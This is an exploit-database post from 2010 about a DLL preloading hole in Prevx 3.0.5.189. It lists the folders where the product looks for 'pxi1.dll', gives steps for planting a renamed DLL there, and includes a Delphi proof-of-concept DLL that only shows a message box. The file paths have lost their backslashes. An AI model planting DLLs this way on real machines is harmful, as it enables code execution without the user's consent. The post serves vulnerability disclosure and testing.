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[local exploits] - Prevx DLL preloading exploit

Posted on 11 September 2010

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Prevx DLL preloading exploit
============================

============================
Prevx DLL preloading exploit
============================

====================================================
=       PREVX DLL PRELOADING EXPLOIT       =
====================================================

Exploit Title  : [Prevx DLL preloading exploit]
Date           : [11 Sept 2010]
Author         : [STRELiTZIA]
Software       : [Prevx 3.0.5.189]
Tested on      : [Windows Xp SP3]
	
============================
=       Description        = 
============================
Prevx search and laod &quot;pxi1.dll&quot; library without checks, or any visual warning messages related to
library modifications.
Vulnerability that can allow attackers to execute malicious code locally, without user consent, in the privilege
context of the targeted application.
 
 
============================
=       Instructions       =
============================
Default searching folders:
C:WINDOWSpxi1.dll
C:WINDOWSsystempxi1.dll
C:WINDOWSsystem32pxi1.dll
C:WINDOWSsystem32wbempxi1.dll

Additional folders if exists:
C:Program FilesBorlandDelphi7Binpxi1.dll
C:Program FilesBorlandDelphi7ProjectsBplpxi1.dll
C:Documents and SettingsAll UsersDocumentsRAD Studio7.0Bplpxi1.dll


1- Copy &quot;Test.dll&quot; into &quot;%One of listed folders% folder&quot;
2- Rename &quot;Test.dll&quot; to &quot;pxi1.dll&quot;

============================
=          Tests           =
============================
- Launch Prevx.
- Restart your PC.
	
============================
= Test Dll Source &quot;Delphi&quot; =
============================
Library Test;
uses
  Windows;

begin
  MessageBoxA
    (
    0,
    PChar(&#039;Yep, I&#039;&#039;m running in your system without your permission.&#039;),
	PChar(&#039;Sample&#039;),
    MB_ICONSTOP
    );
end.




# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-11]</pre></body></html>

 

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